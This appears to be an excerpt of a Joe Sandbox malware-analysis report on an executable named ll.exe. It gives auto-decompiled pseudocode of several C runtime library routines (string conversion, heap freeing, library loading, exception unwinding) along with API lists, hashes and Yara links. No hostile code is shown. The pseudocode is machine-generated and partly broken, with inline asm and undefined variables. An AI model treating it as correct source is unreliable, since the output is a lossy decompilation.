    • API String ID: 269201875-0
    • Opcode ID: 7ecab46e2c71be7c6fc32fd89ce804031e7257d1573bc9ea62a377008883ed4c
    • Instruction ID: 6eebe5d28e173b97d4cf6d54e09d9a17742385a675d57485a1cd9c40bbacc517
    • Opcode Fuzzy Hash: 7ecab46e2c71be7c6fc32fd89ce804031e7257d1573bc9ea62a377008883ed4c
    • Instruction Fuzzy Hash: 1241EE32E00204DFCB14DF79C981A5AB7A5EF84324F1641A8E995EB241DB35AD01EB82
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F3CED1 Relevance: 7.6, APIs: 5, Instructions: 110COMMON
    Download Yara Rule
    C-Code - Quality: 81%
    			E00F3CED1(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4, int _a8, char* _a12, int _a16, short* _a20, int _a24, intOrPtr _a28) {
				signed int _v8;
				int _v12;
				char _v16;
				intOrPtr _v24;
				char _v28;
				void* _v40;
				signed int _t34;
				signed int _t40;
				int _t46;
				int _t53;
				void* _t55;
				int _t57;
				signed int _t63;
				int _t67;
				short* _t69;
				signed int _t70;
				short* _t71;

				_t34 =  *0xf4a004; // 0x355216d4
				_v8 = _t34 ^ _t70;
				E00F3AEA5(__ebx,  &_v28, __edx, _a4);
				_t57 = _a24;
				if(_t57 == 0) {
					_t53 =  *(_v24 + 8);
					_t57 = _t53;
					_a24 = _t53;
				}
				_t67 = 0;
				_t40 = MultiByteToWideChar(_t57, 1 + (0 | _a28 != 0x00000000) * 8, _a12, _a16, 0, 0);
				_v12 = _t40;
				if(_t40 == 0) {
					L15:
					if(_v16 != 0) {
						 *(_v28 + 0x350) =  *(_v28 + 0x350) & 0xfffffffd;
					}
					return E00F37A82(_v8 ^ _t70);
				}
				_t55 = _t40 + _t40;
				_t17 = _t55 + 8; // 0x8
				asm("sbb eax, eax");
				if((_t17 & _t40) == 0) {
					_t69 = 0;
					L11:
					if(_t69 != 0) {
						E00F39000(_t67, _t69, _t67, _t55);
						_t46 = MultiByteToWideChar(_a24, 1, _a12, _a16, _t69, _v12);
						if(_t46 != 0) {
							_t67 = GetStringTypeW(_a8, _t69, _t46, _a20);
						}
					}
					L14:
					E00F3CFEE(_t69);
					goto L15;
				}
				_t20 = _t55 + 8; // 0x8
				asm("sbb eax, eax");
				_t48 = _t40 & _t20;
				_t21 = _t55 + 8; // 0x8
				_t63 = _t21;
				if((_t40 & _t20) > 0x400) {
					asm("sbb eax, eax");
					_t69 = E00F3ADB7(_t63, _t48 & _t63);
					if(_t69 == 0) {
						goto L14;
					}
					 *_t69 = 0xdddd;
					L9:
					_t69 =  &(_t69[4]);
					goto L11;
				}
				asm("sbb eax, eax");
				E00F417D0();
				_t69 = _t71;
				if(_t69 == 0) {
					goto L14;
				}
				 *_t69 = 0xcccc;
				goto L9;
			}




















    0x00f3ced9
    0x00f3cee0
    0x00f3ceec
    0x00f3cef1
    0x00f3cef6
    0x00f3cefb
    0x00f3cefe
    0x00f3cf00
    0x00f3cf00
    0x00f3cf05
    0x00f3cf1e
    0x00f3cf24
    0x00f3cf29
    0x00f3cfc8
    0x00f3cfcc
    0x00f3cfd1
    0x00f3cfd1
    0x00f3cfed
    0x00f3cfed
    0x00f3cf2f
    0x00f3cf32
    0x00f3cf37
    0x00f3cf3b
    0x00f3cf87
    0x00f3cf89
    0x00f3cf8b
    0x00f3cf90
    0x00f3cfa7
    0x00f3cfaf
    0x00f3cfbf
    0x00f3cfbf
    0x00f3cfaf
    0x00f3cfc1
    0x00f3cfc2
    0x00000000
    0x00f3cfc7
    0x00f3cf3d
    0x00f3cf42
    0x00f3cf44
    0x00f3cf46
    0x00f3cf46
    0x00f3cf4e
    0x00f3cf6b
    0x00f3cf75
    0x00f3cf7a
    0x00000000
    0x00000000
    0x00f3cf7c
    0x00f3cf82
    0x00f3cf82
    0x00000000
    0x00f3cf82
    0x00f3cf52
    0x00f3cf56
    0x00f3cf5b
    0x00f3cf5f
    0x00000000
    0x00000000
    0x00f3cf61
    0x00000000

    APIs
    • MultiByteToWideChar.KERNEL32(00000000,00000000,00000100,00000020,00000000,00000000,5EFC4D8B,00000100,00F3C13A,00000000,00000001,00000020,00000100,?,5EFC4D8B,00000000), ref: 00F3CF1E
    • __alloca_probe_16.LIBCMT ref: 00F3CF56
    • MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00F3CFA7
    • GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 00F3CFB9
    • __freea.LIBCMT ref: 00F3CFC2
      • Part of subcall function 00F3ADB7: RtlAllocateHeap.NTDLL(00000000,00F37A46,?,?,00F38CFE,?,?,?,?,?,00F37986,00F37A46,?,?,?,?), ref: 00F3ADE9
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID: ByteCharMultiWide$AllocateHeapStringType__alloca_probe_16__freea
    • String ID:
    • API String ID: 313313983-0
    • Opcode ID: aab523cf07c58bc18a150f64222995694720d5864f1a1b2db05034f08aa20628
    • Instruction ID: 75949df1236e2f05a95ddfd5c0db0e3c1780adddd4d23dc79adff31125f81f0b
    • Opcode Fuzzy Hash: aab523cf07c58bc18a150f64222995694720d5864f1a1b2db05034f08aa20628
    • Instruction Fuzzy Hash: 7231B072A0021AABDF249F75DC45EAE7BA6EB40720F054129FC04E6290E735DD60EBE0
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F3B31E Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE
    Download Yara Rule
    C-Code - Quality: 82%
    			E00F3B31E(void* __ecx, void* __edx) {
				void* __esi;
				intOrPtr _t2;
				void* _t4;
				void* _t10;
				void* _t11;
				void* _t13;
				void* _t16;
				long _t17;

				_t11 = __ecx;
				_t17 = GetLastError();
				_t10 = 0;
				_t2 =  *0xf4a044; // 0x5
				_t20 = _t2 - 0xffffffff;
				if(_t2 == 0xffffffff) {
					L2:
					_t16 = E00F3AE48(_t11, 1, 0x364);
					_pop(_t13);
					if(_t16 != 0) {
						_t4 = E00F3C52C(_t13, _t17, __eflags,  *0xf4a044, _t16);
						__eflags = _t4;
						if(_t4 != 0) {
							E00F3B10C(_t13, _t16, 0xf4c28c);
							E00F3AD7D(_t10);
							__eflags = _t16;
							if(_t16 != 0) {
								goto L9;
							} else {
								goto L8;
							}
						} else {
							_push(_t16);
							goto L4;
						}
					} else {
						_push(_t10);
						L4:
						E00F3AD7D();
						L8:
						SetLastError(_t17);
					}
				} else {
					_t16 = E00F3C4D6(_t11, _t17, _t20, _t2);
					if(_t16 != 0) {
						L9:
						SetLastError(_t17);
						_t10 = _t16;
					} else {
						goto L2;
					}
				}
				return _t10;
			}











    0x00f3b31e
    0x00f3b329
    0x00f3b32b
    0x00f3b32d
    0x00f3b332
    0x00f3b335
    0x00f3b343
    0x00f3b34f
    0x00f3b352
    0x00f3b355
    0x00f3b367
    0x00f3b36c
    0x00f3b36e
    0x00f3b379
    0x00f3b37f
    0x00f3b387
    0x00f3b389
    0x00000000
    0x00000000
    0x00000000
    0x00000000
    0x00f3b370
    0x00f3b370
    0x00000000
    0x00f3b370
    0x00f3b357
    0x00f3b357
    0x00f3b358
    0x00f3b358
    0x00f3b38b
    0x00f3b38c
    0x00f3b38c
    0x00f3b337
    0x00f3b33d
    0x00f3b341
    0x00f3b394
    0x00f3b395
    0x00f3b39b
    0x00000000
    0x00000000
    0x00000000
    0x00f3b341
    0x00f3b3a2

    APIs
    • GetLastError.KERNEL32(?,00000000,?,00F39A0D,00000000,?,?,00F39A91,00000000,00000000,00000000,00000000,00000000,?,00F23905), ref: 00F3B323
    • _free.LIBCMT ref: 00F3B358
    • _free.LIBCMT ref: 00F3B37F
    • SetLastError.KERNEL32(00000000), ref: 00F3B38C
    • SetLastError.KERNEL32(00000000), ref: 00F3B395
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID: ErrorLast$_free
    • String ID:
    • API String ID: 3170660625-0
    • Opcode ID: d77ee899ac0d19b5c654a0c25af451436fdc3be628c4067f13f7b21c9a2d24bf
    • Instruction ID: 164bae7c87d5ce4a59f6c3fa6e24d7736806260d2087501168a41f1b5cd15c30
    • Opcode Fuzzy Hash: d77ee899ac0d19b5c654a0c25af451436fdc3be628c4067f13f7b21c9a2d24bf
    • Instruction Fuzzy Hash: 8801783B240711A7831237396CA6F2F365DEBD2330F210224FB04E2152EF6D89017162
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F3CD48 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE
    Download Yara Rule
    C-Code - Quality: 100%
    			E00F3CD48(intOrPtr* _a4) {
				intOrPtr _t6;
				intOrPtr* _t21;
				void* _t23;
				void* _t24;
				void* _t25;
				void* _t26;
				void* _t27;

				_t21 = _a4;
				if(_t21 != 0) {
					_t23 =  *_t21 -  *0xf4a648; // 0xf4a63c
					if(_t23 != 0) {
						E00F3AD7D(_t7);
					}
					_t24 =  *((intOrPtr*)(_t21 + 4)) -  *0xf4a64c; // 0xf4c290
					if(_t24 != 0) {
						E00F3AD7D(_t8);
					}
					_t25 =  *((intOrPtr*)(_t21 + 8)) -  *0xf4a650; // 0xf4c290
					if(_t25 != 0) {
						E00F3AD7D(_t9);
					}
					_t26 =  *((intOrPtr*)(_t21 + 0x30)) -  *0xf4a678; // 0xf4a640
					if(_t26 != 0) {
						E00F3AD7D(_t10);
					}
					_t6 =  *((intOrPtr*)(_t21 + 0x34));
					_t27 = _t6 -  *0xf4a67c; // 0xf4c294
					if(_t27 != 0) {
						return E00F3AD7D(_t6);
					}
				}
				return _t6;
			}










    0x00f3cd4e
    0x00f3cd53
    0x00f3cd57
    0x00f3cd5d
    0x00f3cd60
    0x00f3cd65
    0x00f3cd69
    0x00f3cd6f
    0x00f3cd72
    0x00f3cd77
    0x00f3cd7b
    0x00f3cd81
    0x00f3cd84
    0x00f3cd89
    0x00f3cd8d
    0x00f3cd93
    0x00f3cd96
    0x00f3cd9b
    0x00f3cd9c
    0x00f3cd9f
    0x00f3cda5
    0x00000000
    0x00f3cdad
    0x00f3cda5
    0x00f3cdb0

    APIs
    • _free.LIBCMT ref: 00F3CD60
      • Part of subcall function 00F3AD7D: RtlFreeHeap.NTDLL(00000000,00000000,?,00F3CDDF,?,00000000,?,00000000,?,00F3CE06,?,00000007,?,?,00F3D223,?), ref: 00F3AD93
      • Part of subcall function 00F3AD7D: GetLastError.KERNEL32(?,?,00F3CDDF,?,00000000,?,00000000,?,00F3CE06,?,00000007,?,?,00F3D223,?,?), ref: 00F3ADA5
    • _free.LIBCMT ref: 00F3CD72
    • _free.LIBCMT ref: 00F3CD84
    • _free.LIBCMT ref: 00F3CD96
    • _free.LIBCMT ref: 00F3CDA8
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID: _free$ErrorFreeHeapLast
    • String ID:
    • API String ID: 776569668-0
    • Opcode ID: de7c0a1f5893f59f5d51c9f30ac28fc3a46ea2c5224d6e01984c2e9e25c926d9
    • Instruction ID: e108cc3f8eeaefabaeefd2324b249af829dbfd7aef2e28ba37cf649bf1c980c1
    • Opcode Fuzzy Hash: de7c0a1f5893f59f5d51c9f30ac28fc3a46ea2c5224d6e01984c2e9e25c926d9
    • Instruction Fuzzy Hash: B9F06236840644ABC624EF65E881C1A77E9AA01731B590915F4A9E7910C735FC80FFD5
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F3ABED Relevance: 7.5, APIs: 5, Instructions: 30COMMON
    Download Yara Rule
    C-Code - Quality: 91%
    			E00F3ABED(signed int __ecx) {
				intOrPtr _t7;

				asm("lock xadd [eax], ecx");
				if((__ecx | 0xffffffff) == 0) {
					_t7 =  *0xf4a570; // 0xdd7a38
					if(_t7 != 0xf4a350) {
						E00F3AD7D(_t7);
						 *0xf4a570 = 0xf4a350;
					}
				}
				E00F3AD7D( *0xf4c2ac);
				 *0xf4c2ac = 0;
				E00F3AD7D( *0xf4c2b0);
				 *0xf4c2b0 = 0;
				E00F3AD7D( *0xf4bf98);
				 *0xf4bf98 = 0;
				E00F3AD7D( *0xf4bf9c);
				 *0xf4bf9c = 0;
				return 1;
			}




    0x00f3abf6
    0x00f3abfa
    0x00f3abfc
    0x00f3ac08
    0x00f3ac0b
    0x00f3ac11
    0x00f3ac11
    0x00f3ac08
    0x00f3ac1d
    0x00f3ac2a
    0x00f3ac30
    0x00f3ac3b
    0x00f3ac41
    0x00f3ac4c
    0x00f3ac52
    0x00f3ac5a
    0x00f3ac63

    APIs
    • _free.LIBCMT ref: 00F3AC0B
      • Part of subcall function 00F3AD7D: RtlFreeHeap.NTDLL(00000000,00000000,?,00F3CDDF,?,00000000,?,00000000,?,00F3CE06,?,00000007,?,?,00F3D223,?), ref: 00F3AD93
      • Part of subcall function 00F3AD7D: GetLastError.KERNEL32(?,?,00F3CDDF,?,00000000,?,00000000,?,00F3CE06,?,00000007,?,?,00F3D223,?,?), ref: 00F3ADA5
    • _free.LIBCMT ref: 00F3AC1D
    • _free.LIBCMT ref: 00F3AC30
    • _free.LIBCMT ref: 00F3AC41
    • _free.LIBCMT ref: 00F3AC52
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID: _free$ErrorFreeHeapLast
    • String ID:
    • API String ID: 776569668-0
    • Opcode ID: 4605c7dac41b3cc9f3dd9b31524f1fa2ff2e887b95ff25a8c3b45cd23cb5f2b5
    • Instruction ID: 538acae2de8bbd9df83b08cd229c9a375b616ca2bf21c326cc17c0daef0c7148
    • Opcode Fuzzy Hash: 4605c7dac41b3cc9f3dd9b31524f1fa2ff2e887b95ff25a8c3b45cd23cb5f2b5
    • Instruction Fuzzy Hash: 7EF05EBC8415289FD706AFA5BC028083BA4B727771B041206FC999327AE7B74941FFC2
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F39D8F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON
    Download Yara Rule
    C-Code - Quality: 78%
    			E00F39D8F(void* __ecx, void* __edx, intOrPtr _a4) {
				signed int _v8;
				void* _v12;
				char _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t36;
				struct HINSTANCE__* _t37;
				struct HINSTANCE__* _t43;
				intOrPtr* _t44;
				intOrPtr* _t45;
				CHAR* _t49;
				struct HINSTANCE__* _t50;
				void* _t52;
				struct HINSTANCE__* _t55;
				void* _t58;
				intOrPtr* _t59;
				struct HINSTANCE__* _t64;
				intOrPtr _t65;

				_t58 = __edx;
				_t52 = __ecx;
				if(_a4 == 2 || _a4 == 1) {
					E00F3BE9D(_t52);
					GetModuleFileNameA(0, 0xf4bce8, 0x104);
					_t49 =  *0xf4bfa0; // 0xdc32c0
					 *0xf4bfa8 = 0xf4bce8;
					if(_t49 == 0 ||  *_t49 == 0) {
						_t49 = 0xf4bce8;
					}
					_v8 = 0;
					_v16 = 0;
					E00F39EB3(_t52, _t49, 0, 0,  &_v8,  &_v16);
					_t64 = E00F3A028(_v8, _v16, 1);
					if(_t64 != 0) {
						E00F39EB3(_t52, _t49, _t64, _t64 + _v8 * 4,  &_v8,  &_v16);
						if(_a4 != 1) {
							_v12 = 0;
							_push( &_v12);
							_push(_t64);
							_t50 = E00F3B9B8(_t49, _t58, 0, _t64);
							if(_t50 == 0) {
								_t59 = _v12;
								_t55 = 0;
								_t36 = _t59;
								if( *_t59 == 0) {
									L15:
									_t37 = 0;
									 *0xf4bf94 = _t55;
									_v12 = 0;
									_t50 = 0;
									 *0xf4bf98 = _t59;
									L16:
									E00F3AD7D(_t37);
									_v12 = 0;
									goto L17;
								} else {
									goto L14;
								}
								do {
									L14:
									_t36 = _t36 + 4;
									_t55 =  &(_t55->i);
								} while ( *_t36 != 0);
								goto L15;
							}
							_t37 = _v12;
							goto L16;
						}
						 *0xf4bf94 = _v8 - 1;
						_t43 = _t64;
						_t64 = 0;
						 *0xf4bf98 = _t43;
						goto L10;
					} else {
						_t44 = E00F3B502();
						_push(0xc);
						_pop(0);
						 *_t44 = 0;
						L10:
						_t50 = 0;
						L17:
						E00F3AD7D(_t64);
						return _t50;
					}
				} else {
					_t45 = E00F3B502();
					_t65 = 0x16;
					 *_t45 = _t65;
					E00F39A72();
					return _t65;
				}
			}






















    0x00f39d8f
    0x00f39d8f
    0x00f39d9c
    0x00f39dbc
    0x00f39dcf
    0x00f39dd5
    0x00f39ddb
    0x00f39de3
    0x00f39dea
    0x00f39dea
    0x00f39def
    0x00f39df6
    0x00f39dfd
    0x00f39e0f
    0x00f39e16
    0x00f39e35
    0x00f39e41
    0x00f39e5c
    0x00f39e5f
    0x00f39e60
    0x00f39e66
    0x00f39e6c
    0x00f39e73
    0x00f39e76
    0x00f39e78
    0x00f39e7c
    0x00f39e86
    0x00f39e86
    0x00f39e88
    0x00f39e8e
    0x00f39e91
    0x00f39e93
    0x00f39e99
    0x00f39e9a
    0x00f39ea0
    0x00000000
    0x00000000
    0x00000000
    0x00000000
    0x00f39e7e
    0x00f39e7e
    0x00f39e7e
    0x00f39e81
    0x00f39e82
    0x00000000
    0x00f39e7e
    0x00f39e6e
    0x00000000
    0x00f39e6e
    0x00f39e47
    0x00f39e4c
    0x00f39e4e
    0x00f39e50
    0x00000000
    0x00f39e18
    0x00f39e18
    0x00f39e1d
    0x00f39e1f
    0x00f39e20
    0x00f39e55
    0x00f39e55
    0x00f39ea3
    0x00f39ea4
    0x00000000
    0x00f39ead
    0x00f39da4
    0x00f39da4
    0x00f39dab
    0x00f39dac
    0x00f39dae
    0x00000000
    0x00f39db3

    APIs
    • GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\ll.exe,00000104), ref: 00F39DCF
    • _free.LIBCMT ref: 00F39E9A
    • _free.LIBCMT ref: 00F39EA4
    Strings
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID: _free$FileModuleName
    • String ID: C:\Users\user\Desktop\ll.exe
    • API String ID: 2506810119-1782612334
    • Opcode ID: d06427c1040df57257ec2aad69e6b6f5ec8acc327f08996e096942f6dbb71e7d
    • Instruction ID: cbbf221c9c5f9c81c25ed7cd943d2e6700b815fc07971eebf728242b5434239c
    • Opcode Fuzzy Hash: d06427c1040df57257ec2aad69e6b6f5ec8acc327f08996e096942f6dbb71e7d
    • Instruction Fuzzy Hash: 6F318171E08218EFDB21DF99DC8199EBBF8EB95730F104066E90897211D7F48E84EB60
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F3C3AF Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE
    Download Yara Rule
    C-Code - Quality: 95%
    			E00F3C3AF(signed int _a4) {
				signed int _t9;
				void* _t13;
				signed int _t15;
				WCHAR* _t22;
				signed int _t24;
				signed int* _t25;
				void* _t27;

				_t9 = _a4;
				_t25 = 0xf4bfb0 + _t9 * 4;
				_t24 =  *_t25;
				if(_t24 == 0) {
					_t22 =  *(0xf44f80 + _t9 * 4);
					_t27 = LoadLibraryExW(_t22, 0, 0x800);
					if(_t27 != 0) {
						L8:
						 *_t25 = _t27;
						if( *_t25 != 0) {
							FreeLibrary(_t27);
						}
						_t13 = _t27;
						L11:
						return _t13;
					}
					_t15 = GetLastError();
					if(_t15 != 0x57) {
						_t27 = 0;
					} else {
						_t15 = LoadLibraryExW(_t22, _t27, _t27);
						_t27 = _t15;
					}
					if(_t27 != 0) {
						goto L8;
					} else {
						 *_t25 = _t15 | 0xffffffff;
						_t13 = 0;
						goto L11;
					}
				}
				_t4 = _t24 + 1; // 0x355216d5
				asm("sbb eax, eax");
				return  ~_t4 & _t24;
			}










    0x00f3c3b4
    0x00f3c3b8
    0x00f3c3bf
    0x00f3c3c3
    0x00f3c3d1
    0x00f3c3e7
    0x00f3c3eb
    0x00f3c414
    0x00f3c416
    0x00f3c41a
    0x00f3c41d
    0x00f3c41d
    0x00f3c423
    0x00f3c425
    0x00000000
    0x00f3c426
    0x00f3c3ed
    0x00f3c3f6
    0x00f3c405
    0x00f3c3f8
    0x00f3c3fb
    0x00f3c401
    0x00f3c401
    0x00f3c409
    0x00000000
    0x00f3c40b
    0x00f3c40e
    0x00f3c410
    0x00000000
    0x00f3c410
    0x00f3c409
    0x00f3c3c5
    0x00f3c3ca
    0x00000000

    APIs
    • LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00000000,00000000,?,00F3C356,?,00000000,00000000,00000000,?,00F3C553,00000006,FlsSetValue), ref: 00F3C3E1
    • GetLastError.KERNEL32(?,00F3C356,?,00000000,00000000,00000000,?,00F3C553,00000006,FlsSetValue,00F45438,00F45440,00000000,00000364,?,00F3B36C), ref: 00F3C3ED
    • LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,00F3C356,?,00000000,00000000,00000000,?,00F3C553,00000006,FlsSetValue,00F45438,00F45440,00000000), ref: 00F3C3FB
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID: LibraryLoad$ErrorLast
    • String ID:
    • API String ID: 3177248105-0
    • Opcode ID: b796341f5c3bae411eb3fe0de125b8de4f0d65cb9946ffd268f0f6bfa3c3fbf0
    • Instruction ID: 00d89e85088ef05abcf1683226dc0c328545ea1bcf7b7f0945b8803544bc03f6
    • Opcode Fuzzy Hash: b796341f5c3bae411eb3fe0de125b8de4f0d65cb9946ffd268f0f6bfa3c3fbf0
    • Instruction Fuzzy Hash: F101F737A552269BC721CAB8EC54B667758EF16BB1F114620FD0AF7140D721E801A7F0
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F42999 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE
    Download Yara Rule
    C-Code - Quality: 20%
    			E00F42999(void* __ebx, void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr* _a32, intOrPtr _a36, intOrPtr _a40) {
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t25;
				void* _t27;
				void* _t28;
				intOrPtr _t30;
				intOrPtr* _t32;
				void* _t34;

				_t29 = __edx;
				_t27 = __ebx;
				_t36 = _a28;
				_t30 = _a8;
				if(_a28 != 0) {
					_push(_a28);
					_push(_a24);
					_push(_t30);
					_push(_a4);
					E00F42FE8(__edx, _t36);
					_t34 = _t34 + 0x10;
				}
				_t37 = _a40;
				_push(_a4);
				if(_a40 != 0) {
					_push(_a40);
				} else {
					_push(_t30);
				}
				E00F424A1(_t28);
				_t32 = _a32;
				_push( *_t32);
				_push(_a20);
				_push(_a16);
				_push(_t30);
				E00F431EA(_t27, _t28, _t29, _t30, _t37);
				_push(0x100);
				_push(_a36);
				 *((intOrPtr*)(_t30 + 8)) =  *((intOrPtr*)(_t32 + 4)) + 1;
				_push( *((intOrPtr*)(_a24 + 0xc)));
				_push(_a20);
				_push(_a12);
				_push(_t30);
				_push(_a4);
				_t25 = E00F427A3(_t29, _t32, _t37);
				if(_t25 != 0) {
					E00F4246F(_t25, _t30);
					return _t25;
				}
				return _t25;
			}












    0x00f42999
    0x00f42999
    0x00f4299c
    0x00f429a1
    0x00f429a4
    0x00f429a6
    0x00f429a9
    0x00f429ac
    0x00f429ad
    0x00f429b0
    0x00f429b5
    0x00f429b5
    0x00f429b8
    0x00f429bc
    0x00f429bf
    0x00f429c4
    0x00f429c1
    0x00f429c1
    0x00f429c1
    0x00f429c7
    0x00f429cd
    0x00f429d0
    0x00f429d2
    0x00f429d5
    0x00f429d8
    0x00f429d9
    0x00f429e2
    0x00f429e7
    0x00f429ea
    0x00f429f0
    0x00f429f3
    0x00f429f6
    0x00f429f9
    0x00f429fa
    0x00f429fd
    0x00f42a08
    0x00f42a0c
    0x00000000
    0x00f42a0c
    0x00f42a13

    APIs
    • ___BuildCatchObject.LIBVCRUNTIME ref: 00F429B0
      • Part of subcall function 00F42FE8: ___AdjustPointer.LIBCMT ref: 00F43032
    • _UnwindNestedFrames.LIBCMT ref: 00F429C7
    • ___FrameUnwindToState.LIBVCRUNTIME ref: 00F429D9
    • CallCatchBlock.LIBVCRUNTIME ref: 00F429FD
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID: CatchUnwind$AdjustBlockBuildCallFrameFramesNestedObjectPointerState
    • String ID:
    • API String ID: 2633735394-0
    • Opcode ID: 812b189a856b8961fe45e9ac9d1e515c7c859f343e988ac699c5c04b5d240de1
    • Instruction ID: 03af4406bb94e965258b19929e95d7efbbda65ababeb716ec2fd26036faea07e
    • Opcode Fuzzy Hash: 812b189a856b8961fe45e9ac9d1e515c7c859f343e988ac699c5c04b5d240de1
    • Instruction Fuzzy Hash: B001D332400109BBCF52AF55CC05EEA7FBAFF89764F558025FD5866121C37AE861EBA0
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F38F76 Relevance: 6.0, APIs: 4, Instructions: 14COMMON
    Download Yara Rule
    C-Code - Quality: 100%
    			E00F38F76() {
				void* _t4;
				void* _t8;

				E00F3970E();
				E00F396A2();
				if(E00F393C8() != 0) {
					_t4 = E00F3937A(_t8, __eflags);
					__eflags = _t4;
					if(_t4 != 0) {
						return 1;
					} else {
						E00F39404();
						goto L1;
					}
				} else {
					L1:
					return 0;
				}
			}





    0x00f38f76
    0x00f38f7b
    0x00f38f87
    0x00f38f8c
    0x00f38f91
    0x00f38f93
    0x00f38f9e
    0x00f38f95
    0x00f38f95
    0x00000000
    0x00f38f95
    0x00f38f89
    0x00f38f89
    0x00f38f8b
    0x00f38f8b

    APIs
